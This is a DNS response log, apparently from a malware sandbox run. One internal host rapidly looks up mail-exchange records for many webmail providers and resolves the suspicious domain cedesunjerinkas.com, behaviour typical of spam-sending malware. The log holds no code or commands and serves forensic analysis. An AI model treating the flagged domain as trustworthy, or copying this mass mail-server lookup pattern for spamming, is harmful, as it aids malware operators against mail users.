Jan 7, 2022 15:55:57.228660107 CET	8.8.8.8	192.168.2.4	0xbee2	No error (0)	gmail-smtp-in.l.google.com		108.177.119.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:57.304842949 CET	8.8.8.8	192.168.2.4	0x7000	No error (0)	hotmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:57.325731993 CET	8.8.8.8	192.168.2.4	0xd72b	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:57.325731993 CET	8.8.8.8	192.168.2.4	0xd72b	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:57.400459051 CET	8.8.8.8	192.168.2.4	0x8d75	No error (0)	www3.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:01.085022926 CET	8.8.8.8	192.168.2.4	0x4734	No error (0)	yandex.ru			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:01.109148026 CET	8.8.8.8	192.168.2.4	0x3a6e	No error (0)	mx.yandex.ru		77.88.21.249	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:01.271496058 CET	8.8.8.8	192.168.2.4	0xc8ba	No error (0)	tut.by			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:01.295581102 CET	8.8.8.8	192.168.2.4	0x5bd6	No error (0)	mx.yandex.ru		77.88.21.249	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:02.418996096 CET	8.8.8.8	192.168.2.4	0x670e	No error (0)	mail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:02.418996096 CET	8.8.8.8	192.168.2.4	0x670e	No error (0)	mail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:02.438877106 CET	8.8.8.8	192.168.2.4	0x4817	No error (0)	mx01.mail.com		74.208.5.22	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:02.462474108 CET	8.8.8.8	192.168.2.4	0x8f58	No error (0)	mx00.mail.com		74.208.5.20	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:02.599011898 CET	8.8.8.8	192.168.2.4	0x1e9c	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:02.599011898 CET	8.8.8.8	192.168.2.4	0x1e9c	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:02.599011898 CET	8.8.8.8	192.168.2.4	0x1e9c	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:02.599011898 CET	8.8.8.8	192.168.2.4	0x1e9c	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:02.599011898 CET	8.8.8.8	192.168.2.4	0x1e9c	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:02.621073008 CET	8.8.8.8	192.168.2.4	0x408	No error (0)	mx1.bigmir.net		193.239.68.121	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:02.643436909 CET	8.8.8.8	192.168.2.4	0xe191	No error (0)	mx3.bigmir.net		193.239.68.121	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:02.671858072 CET	8.8.8.8	192.168.2.4	0x3e16	No error (0)	mx10.bigmir.net		213.186.119.6	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:02.695249081 CET	8.8.8.8	192.168.2.4	0xccf2	No error (0)	mx12.bigmir.net		193.239.71.112	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:02.715281963 CET	8.8.8.8	192.168.2.4	0xcdd3	No error (0)	mx13.bigmir.net		193.239.71.113	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:03.529347897 CET	8.8.8.8	192.168.2.4	0xf554	No error (0)	inbox.lv			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:03.529347897 CET	8.8.8.8	192.168.2.4	0xf554	No error (0)	inbox.lv			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:03.553330898 CET	8.8.8.8	192.168.2.4	0xab8a	No error (0)	mx2.inbox.lv		194.152.32.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:03.553330898 CET	8.8.8.8	192.168.2.4	0xab8a	No error (0)	mx2.inbox.lv		194.152.32.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:03.577331066 CET	8.8.8.8	192.168.2.4	0x6336	No error (0)	mx1.inbox.lv		194.152.32.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:03.577331066 CET	8.8.8.8	192.168.2.4	0x6336	No error (0)	mx1.inbox.lv		194.152.32.72	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:03.703072071 CET	8.8.8.8	192.168.2.4	0xf2e3	No error (0)	a1plus.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:03.724169970 CET	8.8.8.8	192.168.2.4	0x56ec	No error (0)	smx01.a1.net		195.3.96.71	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.134061098 CET	8.8.8.8	192.168.2.4	0xada9	No error (0)	telering.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:04.134061098 CET	8.8.8.8	192.168.2.4	0xada9	No error (0)	telering.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:04.134061098 CET	8.8.8.8	192.168.2.4	0xada9	No error (0)	telering.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:04.182979107 CET	8.8.8.8	192.168.2.4	0x3dee	No error (0)	mx1c50.megamailservers.eu		91.136.8.41	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.235786915 CET	8.8.8.8	192.168.2.4	0x69d8	No error (0)	mx2c50.megamailservers.eu		91.136.8.46	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.257720947 CET	8.8.8.8	192.168.2.4	0x2ca6	No error (0)	mx3c50.megamailservers.eu		91.136.8.47	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.865566969 CET	8.8.8.8	192.168.2.4	0xafe6	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:04.865566969 CET	8.8.8.8	192.168.2.4	0xafe6	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:04.865566969 CET	8.8.8.8	192.168.2.4	0xafe6	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:04.884306908 CET	8.8.8.8	192.168.2.4	0x9476	No error (0)	mta5.am0.yahoodns.net		67.195.204.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.884306908 CET	8.8.8.8	192.168.2.4	0x9476	No error (0)	mta5.am0.yahoodns.net		67.195.228.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.884306908 CET	8.8.8.8	192.168.2.4	0x9476	No error (0)	mta5.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.884306908 CET	8.8.8.8	192.168.2.4	0x9476	No error (0)	mta5.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.884306908 CET	8.8.8.8	192.168.2.4	0x9476	No error (0)	mta5.am0.yahoodns.net		67.195.204.79	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.884306908 CET	8.8.8.8	192.168.2.4	0x9476	No error (0)	mta5.am0.yahoodns.net		67.195.228.111	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.884306908 CET	8.8.8.8	192.168.2.4	0x9476	No error (0)	mta5.am0.yahoodns.net		67.195.204.72	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.884306908 CET	8.8.8.8	192.168.2.4	0x9476	No error (0)	mta5.am0.yahoodns.net		98.136.96.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.904942989 CET	8.8.8.8	192.168.2.4	0x4133	No error (0)	mta7.am0.yahoodns.net		98.136.96.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.904942989 CET	8.8.8.8	192.168.2.4	0x4133	No error (0)	mta7.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.904942989 CET	8.8.8.8	192.168.2.4	0x4133	No error (0)	mta7.am0.yahoodns.net		98.136.96.91	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.904942989 CET	8.8.8.8	192.168.2.4	0x4133	No error (0)	mta7.am0.yahoodns.net		67.195.228.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.904942989 CET	8.8.8.8	192.168.2.4	0x4133	No error (0)	mta7.am0.yahoodns.net		67.195.204.79	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.904942989 CET	8.8.8.8	192.168.2.4	0x4133	No error (0)	mta7.am0.yahoodns.net		67.195.204.72	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.904942989 CET	8.8.8.8	192.168.2.4	0x4133	No error (0)	mta7.am0.yahoodns.net		98.136.96.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.904942989 CET	8.8.8.8	192.168.2.4	0x4133	No error (0)	mta7.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.926330090 CET	8.8.8.8	192.168.2.4	0x9ae7	No error (0)	mta6.am0.yahoodns.net		67.195.204.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.926330090 CET	8.8.8.8	192.168.2.4	0x9ae7	No error (0)	mta6.am0.yahoodns.net		67.195.228.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.926330090 CET	8.8.8.8	192.168.2.4	0x9ae7	No error (0)	mta6.am0.yahoodns.net		67.195.228.94	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.926330090 CET	8.8.8.8	192.168.2.4	0x9ae7	No error (0)	mta6.am0.yahoodns.net		98.136.96.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.926330090 CET	8.8.8.8	192.168.2.4	0x9ae7	No error (0)	mta6.am0.yahoodns.net		67.195.204.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.926330090 CET	8.8.8.8	192.168.2.4	0x9ae7	No error (0)	mta6.am0.yahoodns.net		98.136.96.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.926330090 CET	8.8.8.8	192.168.2.4	0x9ae7	No error (0)	mta6.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.926330090 CET	8.8.8.8	192.168.2.4	0x9ae7	No error (0)	mta6.am0.yahoodns.net		67.195.228.111	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.719872952 CET	8.8.8.8	192.168.2.4	0xa1ac	No error (0)	hotmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.738791943 CET	8.8.8.8	192.168.2.4	0x6ff9	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.738791943 CET	8.8.8.8	192.168.2.4	0x6ff9	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.17.97	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.326227903 CET	8.8.8.8	192.168.2.4	0xe236	No error (0)	a1plus.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.345381021 CET	8.8.8.8	192.168.2.4	0x4061	No error (0)	smx01.a1.net		195.3.96.71	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.785640955 CET	8.8.8.8	192.168.2.4	0xd2e	No error (0)	yandex.ru			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:07.806413889 CET	8.8.8.8	192.168.2.4	0x25d7	No error (0)	mx.yandex.ru		77.88.21.249	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:09.258546114 CET	8.8.8.8	192.168.2.4	0x3d92	No error (0)	tut.by			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:09.279493093 CET	8.8.8.8	192.168.2.4	0xc6a7	No error (0)	mx.yandex.ru		77.88.21.249	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:10.492750883 CET	8.8.8.8	192.168.2.4	0x9d3b	No error (0)	mail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:10.492750883 CET	8.8.8.8	192.168.2.4	0x9d3b	No error (0)	mail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:10.512806892 CET	8.8.8.8	192.168.2.4	0x575f	No error (0)	mx01.mail.com		74.208.5.22	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:10.533107042 CET	8.8.8.8	192.168.2.4	0x76ab	No error (0)	mx00.mail.com		74.208.5.20	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:11.179466009 CET	8.8.8.8	192.168.2.4	0x7ff2	Name error (3)	au.au-net.ne.jp	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:15.873262882 CET	8.8.8.8	192.168.2.4	0xb924	No error (0)	inbox.lv			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:15.873262882 CET	8.8.8.8	192.168.2.4	0xb924	No error (0)	inbox.lv			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:15.892764091 CET	8.8.8.8	192.168.2.4	0xd59e	No error (0)	mx2.inbox.lv		194.152.32.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:15.892764091 CET	8.8.8.8	192.168.2.4	0xd59e	No error (0)	mx2.inbox.lv		194.152.32.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:15.915395021 CET	8.8.8.8	192.168.2.4	0x2766	No error (0)	mx1.inbox.lv		194.152.32.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:15.915395021 CET	8.8.8.8	192.168.2.4	0x2766	No error (0)	mx1.inbox.lv		194.152.32.72	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.357225895 CET	8.8.8.8	192.168.2.4	0x9216	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:16.357225895 CET	8.8.8.8	192.168.2.4	0x9216	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:16.357225895 CET	8.8.8.8	192.168.2.4	0x9216	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:16.387238979 CET	8.8.8.8	192.168.2.4	0x35b	No error (0)	mta5.am0.yahoodns.net		67.195.204.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.387238979 CET	8.8.8.8	192.168.2.4	0x35b	No error (0)	mta5.am0.yahoodns.net		67.195.228.111	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.387238979 CET	8.8.8.8	192.168.2.4	0x35b	No error (0)	mta5.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.387238979 CET	8.8.8.8	192.168.2.4	0x35b	No error (0)	mta5.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.387238979 CET	8.8.8.8	192.168.2.4	0x35b	No error (0)	mta5.am0.yahoodns.net		98.136.96.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.387238979 CET	8.8.8.8	192.168.2.4	0x35b	No error (0)	mta5.am0.yahoodns.net		98.136.96.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.387238979 CET	8.8.8.8	192.168.2.4	0x35b	No error (0)	mta5.am0.yahoodns.net		67.195.228.106	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.387238979 CET	8.8.8.8	192.168.2.4	0x35b	No error (0)	mta5.am0.yahoodns.net		98.136.96.91	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.433011055 CET	8.8.8.8	192.168.2.4	0x8cc4	No error (0)	mta6.am0.yahoodns.net		67.195.204.79	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.433011055 CET	8.8.8.8	192.168.2.4	0x8cc4	No error (0)	mta6.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.433011055 CET	8.8.8.8	192.168.2.4	0x8cc4	No error (0)	mta6.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.433011055 CET	8.8.8.8	192.168.2.4	0x8cc4	No error (0)	mta6.am0.yahoodns.net		98.136.96.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.433011055 CET	8.8.8.8	192.168.2.4	0x8cc4	No error (0)	mta6.am0.yahoodns.net		67.195.228.106	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.433011055 CET	8.8.8.8	192.168.2.4	0x8cc4	No error (0)	mta6.am0.yahoodns.net		67.195.204.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.433011055 CET	8.8.8.8	192.168.2.4	0x8cc4	No error (0)	mta6.am0.yahoodns.net		98.136.96.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.433011055 CET	8.8.8.8	192.168.2.4	0x8cc4	No error (0)	mta6.am0.yahoodns.net		67.195.228.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.445595026 CET	8.8.8.8	192.168.2.4	0xff1c	No error (0)	www4.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.457988024 CET	8.8.8.8	192.168.2.4	0x2ed3	No error (0)	mta7.am0.yahoodns.net		67.195.228.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.457988024 CET	8.8.8.8	192.168.2.4	0x2ed3	No error (0)	mta7.am0.yahoodns.net		67.195.228.106	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.457988024 CET	8.8.8.8	192.168.2.4	0x2ed3	No error (0)	mta7.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.457988024 CET	8.8.8.8	192.168.2.4	0x2ed3	No error (0)	mta7.am0.yahoodns.net		67.195.228.94	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.457988024 CET	8.8.8.8	192.168.2.4	0x2ed3	No error (0)	mta7.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.457988024 CET	8.8.8.8	192.168.2.4	0x2ed3	No error (0)	mta7.am0.yahoodns.net		98.136.96.91	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.457988024 CET	8.8.8.8	192.168.2.4	0x2ed3	No error (0)	mta7.am0.yahoodns.net		98.136.96.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.457988024 CET	8.8.8.8	192.168.2.4	0x2ed3	No error (0)	mta7.am0.yahoodns.net		67.195.204.72	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.598458052 CET	8.8.8.8	192.168.2.4	0x62d5	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:16.598458052 CET	8.8.8.8	192.168.2.4	0x62d5	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:16.598458052 CET	8.8.8.8	192.168.2.4	0x62d5	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:16.598458052 CET	8.8.8.8	192.168.2.4	0x62d5	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:16.598458052 CET	8.8.8.8	192.168.2.4	0x62d5	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:16.620981932 CET	8.8.8.8	192.168.2.4	0xac5c	No error (0)	alt1.gmail-smtp-in.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.632966995 CET	8.8.8.8	192.168.2.4	0xa4ee	No error (0)	a1plus.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:16.640779972 CET	8.8.8.8	192.168.2.4	0x8b5c	No error (0)	gmail-smtp-in.l.google.com		108.177.119.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.653043032 CET	8.8.8.8	192.168.2.4	0xd5ea	No error (0)	smx01.a1.net		195.3.96.71	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.668965101 CET	8.8.8.8	192.168.2.4	0xe1e0	No error (0)	alt4.gmail-smtp-in.l.google.com		173.194.202.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.699155092 CET	8.8.8.8	192.168.2.4	0xa1e2	No error (0)	alt3.gmail-smtp-in.l.google.com		142.250.157.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.728841066 CET	8.8.8.8	192.168.2.4	0x62e4	No error (0)	alt2.gmail-smtp-in.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.986929893 CET	8.8.8.8	192.168.2.4	0x5320	No error (0)	telering.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:16.986929893 CET	8.8.8.8	192.168.2.4	0x5320	No error (0)	telering.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:16.986929893 CET	8.8.8.8	192.168.2.4	0x5320	No error (0)	telering.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:17.008318901 CET	8.8.8.8	192.168.2.4	0xbb89	No error (0)	mx2c50.megamailservers.eu		91.136.8.46	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:17.031274080 CET	8.8.8.8	192.168.2.4	0xfc61	No error (0)	mx1c50.megamailservers.eu		91.136.8.41	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:17.064523935 CET	8.8.8.8	192.168.2.4	0xf3e9	No error (0)	hotmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:17.082631111 CET	8.8.8.8	192.168.2.4	0xd53d	No error (0)	mx3c50.megamailservers.eu		91.136.8.47	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:17.086774111 CET	8.8.8.8	192.168.2.4	0xc094	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.58.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:17.086774111 CET	8.8.8.8	192.168.2.4	0xc094	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.56.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:17.221599102 CET	8.8.8.8	192.168.2.4	0x8949	No error (0)	www3.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:17.372965097 CET	8.8.8.8	192.168.2.4	0xe7f2	No error (0)	yandex.ru			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:17.375247955 CET	8.8.8.8	192.168.2.4	0xbbe2	No error (0)	tut.by			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:17.396250010 CET	8.8.8.8	192.168.2.4	0xc585	No error (0)	mx.yandex.ru		77.88.21.249	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:17.538346052 CET	8.8.8.8	192.168.2.4	0xe821	No error (0)	a1plus.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:17.557493925 CET	8.8.8.8	192.168.2.4	0x89ff	No error (0)	smx01.a1.net		195.3.96.71	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:17.723839045 CET	8.8.8.8	192.168.2.4	0xa4cc	Name error (3)	au.au-net.ne.jp	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:23.885704994 CET	8.8.8.8	192.168.2.4	0x1395	No error (0)	broofa.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:23.885704994 CET	8.8.8.8	192.168.2.4	0x1395	No error (0)	broofa.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:23.906374931 CET	8.8.8.8	192.168.2.4	0xb991	No error (0)	mx1.mailchannels.net		44.239.72.13	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:23.906374931 CET	8.8.8.8	192.168.2.4	0xb991	No error (0)	mx1.mailchannels.net		35.82.253.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:23.930340052 CET	8.8.8.8	192.168.2.4	0x6732	No error (0)	mx2.mailchannels.net		35.82.253.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:23.930340052 CET	8.8.8.8	192.168.2.4	0x6732	No error (0)	mx2.mailchannels.net		44.239.72.13	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:46.839034081 CET	8.8.8.8	192.168.2.4	0x163a	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:46.863826990 CET	8.8.8.8	192.168.2.4	0xb4da	No error (0)	msn-com.olc.protection.outlook.com		104.47.51.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:46.863826990 CET	8.8.8.8	192.168.2.4	0xb4da	No error (0)	msn-com.olc.protection.outlook.com		104.47.56.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.328772068 CET	8.8.8.8	192.168.2.4	0x73d2	Name error (3)	animo.br	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.328802109 CET	8.8.8.8	192.168.2.4	0x50be	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.329241037 CET	8.8.8.8	192.168.2.4	0xee6e	No error (0)	aol.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.329735041 CET	8.8.8.8	192.168.2.4	0x47aa	No error (0)	wxyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.329735041 CET	8.8.8.8	192.168.2.4	0x47aa	No error (0)	wxyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.329869986 CET	8.8.8.8	192.168.2.4	0x16fd	Name error (3)	quatro.br	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.341406107 CET	8.8.8.8	192.168.2.4	0x68dd	Name error (3)	pirajui.br	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.351541042 CET	8.8.8.8	192.168.2.4	0x8087	No error (0)	msn-com.olc.protection.outlook.com		104.47.73.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.351541042 CET	8.8.8.8	192.168.2.4	0x8087	No error (0)	msn-com.olc.protection.outlook.com		104.47.74.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.354696035 CET	8.8.8.8	192.168.2.4	0x609f	No error (0)	contoso.com.br			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.356187105 CET	8.8.8.8	192.168.2.4	0x48f2	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.93	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.356187105 CET	8.8.8.8	192.168.2.4	0x48f2	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.80	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.356187105 CET	8.8.8.8	192.168.2.4	0x48f2	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.92	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.356187105 CET	8.8.8.8	192.168.2.4	0x48f2	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.84	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.356187105 CET	8.8.8.8	192.168.2.4	0x48f2	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.86	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.356187105 CET	8.8.8.8	192.168.2.4	0x48f2	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.371196032 CET	8.8.8.8	192.168.2.4	0x9387	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.371196032 CET	8.8.8.8	192.168.2.4	0x9387	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.371196032 CET	8.8.8.8	192.168.2.4	0x9387	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.371196032 CET	8.8.8.8	192.168.2.4	0x9387	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.371196032 CET	8.8.8.8	192.168.2.4	0x9387	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.371226072 CET	8.8.8.8	192.168.2.4	0x6c69	No error (0)	xyz.com.br			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.371226072 CET	8.8.8.8	192.168.2.4	0x6c69	No error (0)	xyz.com.br			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.397984028 CET	8.8.8.8	192.168.2.4	0x1edb	No error (0)	aspmx.l.google.com		173.194.79.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.402798891 CET	8.8.8.8	192.168.2.4	0x463a	No error (0)	mx2.mailchannels.net		34.215.215.23	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.402798891 CET	8.8.8.8	192.168.2.4	0x463a	No error (0)	mx2.mailchannels.net		34.223.157.177	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.403059959 CET	8.8.8.8	192.168.2.4	0xa78a	Name error (3)	contoso.com.pt	none	none	MX (Mail exchange)	IN (0x0001)
